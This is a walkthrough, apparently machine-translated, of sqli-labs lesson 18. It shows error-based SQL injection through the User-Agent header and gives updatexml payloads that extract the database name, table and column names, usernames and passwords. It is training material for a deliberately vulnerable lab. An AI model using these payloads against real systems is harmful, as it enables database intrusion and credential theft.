"Sqli-labs" Less18 Post-header injection-uagent field-error based (Error-based user agent, header POST injection)

This time, username and password all have input checks.

However, IP and uagent are not verified

When we use Admin admin login successful, will be an INSERT statement

Because the program trusts the header information of the browser unconditionally, it constructs the injection by modifying the header information of the HTTP packet.

Packet interception/modification using Burpsuite

Modify the User-agent field, add a single quotation mark

user-agent:mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) gecko/20100101 firefox/52.0 '

Use Updatexml function error to display data

User-agent:123 ' and Updatexml (1,concat (0x7e,database (), 0x7e), 1), 1, 1) #

User-agent:123 ' and Updatexml (1,concat (0x7e, (select table_name from information_schema.tables where table_schema= ' Security ' limit 0,1), 0x7e), 1), 1, 1) #

User-agent:123 ' and Updatexml (1,concat (0x7e, (select column_name from information_schema.columns where Table_name= ' Users ' and table_schema= ' security ' limit 0,1), 0x7e), 1), 1, 1) #

User-agent:123 ' and Updatexml (1,concat (0x7e, (select username from (select username from users limit 2,1) a), 0x7e), 1), 1, 1) #

User-agent:123 ' and Updatexml (1,concat (0x7e, (select Password from (select password from users limit 2,1) a), 0x7e), 1), 1, 1) #

"Sqli-labs" Less18 Post-header injection-uagent field-error based (Error-based user agent, header POST injection)